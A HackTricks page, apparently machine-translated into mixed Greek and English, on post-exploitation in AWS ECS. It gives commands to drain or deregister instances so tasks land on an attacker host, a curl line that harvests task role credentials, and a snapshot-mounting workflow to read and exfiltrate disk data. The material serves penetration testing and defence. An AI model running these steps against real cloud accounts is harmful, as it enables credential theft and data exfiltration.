AWS - ECS Μετα-εκμετάλλευση

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

ECS

Για περισσότερες πληροφορίες δείτε:

AWS - ECS Enum

Host IAM Roles

Στο ECS ένα IAM role μπορεί να εκχωρηθεί στο task που τρέχει μέσα στο container. If το task τρέχει μέσα σε ένα EC2 instance, το EC2 instance θα έχει άλλο IAM role επισυναπτόμενο σε αυτό.
Which means that if you manage to compromise an ECS instance you can potentially obtain the IAM role associated to the ECR and to the EC2 instance. Για περισσότερες πληροφορίες για το πώς να πάρετε αυτά τα διαπιστευτήρια δείτε:

Cloud SSRF - HackTricks

Caution

IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

Privesc στο node για κλοπή creds & secrets άλλων containers

But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or access the docker socket, you can check which other containers are being run, and even get inside of them and steal their IAM roles attached.

Αναγκάζοντας containers να τρέξουν στον τρέχοντα host

Furthermore, the EC2 instance role will usually have enough permissions to update the container instance state of the EC2 instances being used as nodes inside the cluster. Ένας attacker θα μπορούσε να τροποποιήσει την κατάσταση ενός instance σε DRAINING, τότε το ECS θα αφαιρέσει όλα τα tasks από αυτό και αυτά που τρέχουν ως REPLICA θα τρέξουν σε διαφορετικό instance, πιθανώς μέσα στο instance του attacker, έτσι ώστε να μπορεί να κλέψει τα IAM roles τους και πιθανές ευαίσθητες πληροφορίες από μέσα στο container.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

Η ίδια τεχνική μπορεί να γίνει με deregistering the EC2 instance from the cluster. Αυτό είναι πιθανώς λιγότερο διακριτικό, αλλά θα force the tasks to be run in other instances:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Μία τελική τεχνική για να εξαναγκάσετε την επανεκτέλεση των tasks είναι να ενημερώσετε το ECS ότι το task ή container σταμάτησε. Υπάρχουν 3 πιθανές APIs για να το κάνετε αυτό:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Είσοδος στο Cluster με έναν host επιτιθέμενου (Register Container Instance)

Μια άλλη παραλλαγή (πιο άμεση από το draining) είναι να προσθέσετε χωρητικότητα που ελέγχετε στο cluster καταχωρώντας μια EC2 instance ως container instance (ecs:RegisterContainerInstance) και ρυθμίζοντας τα απαιτούμενα container instance attributes ώστε τα placement constraints να ταιριάζουν. Μόλις οι tasks προσγειωθούν στον host σας, μπορείτε να inspect/exec μέσα στα containers και να συλλέξετε τα credentials AWS_CONTAINER_CREDENTIALS_RELATIVE_URI.

Δείτε την σελίδα ECS privesc, ενότητα ecs:RegisterContainerInstance, για την πλήρη ροή εργασίας.

Steal sensitive info from ECR containers

Η EC2 instance πιθανότατα θα έχει επίσης την άδεια ecr:GetAuthorizationToken που της επιτρέπει να download images (μπορείτε να ψάξετε για ευαίσθητες πληροφορίες μέσα σε αυτά).

Steal Task Role Credentials via ecs:ExecuteCommand

Εάν το ExecuteCommand είναι ενεργοποιημένο σε μια task, ένας principal με ecs:ExecuteCommand + ecs:DescribeTasks μπορεί να ανοίξει ένα shell μέσα στο εκτελούμενο container και στη συνέχεια να κάνει query στο task credentials endpoint για να συλλέξει τα credentials του task role:

  • From inside the container: curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
  • Use the returned AccessKeyId/SecretAccessKey/Token to call AWS APIs as the task role

Δείτε τη σελίδα ECS privilege escalation για enumeration και παραδείγματα εντολών.

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Καταχρησιμοποιήστε την εγγενή ECS EBS ενσωμάτωση (2024+) για να mountάρετε τα περιεχόμενα ενός υπάρχοντος EBS snapshot απευθείας σε ένα νέο ECS task/service και να διαβάσετε τα δεδομένα του από μέσα στο container.

  • Απαιτείται (ελάχιστο):

  • ecs:RegisterTaskDefinition

  • One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole on:

  • ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referenced by the task definition

  • If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

  • Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.

Steps (Fargate example):

  1. Δημιουργήστε το ECS infrastructure role (αν δεν υπάρχει) και επισυνάψτε την managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Εγγράψτε ένα task definition με έναν volume σημειωμένο ως configuredAtLaunch και προσαρτήστε τον στο container. Παράδειγμα (εκτυπώνει το secret και μετά κοιμάται):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Δημιούργησε ή ενημέρωσε μια υπηρεσία περνώντας το EBS snapshot μέσω volumeConfigurations.managedEBSVolume (απαιτεί iam:PassRole στον ρόλο υποδομής). Παράδειγμα:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Όταν ξεκινήσει το task, το container μπορεί να διαβάσει τα περιεχόμενα του snapshot στη ρυθμισμένη mount path (π.χ., /loot). Exfiltrate via the task’s network/logs.

Καθαρισμός:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks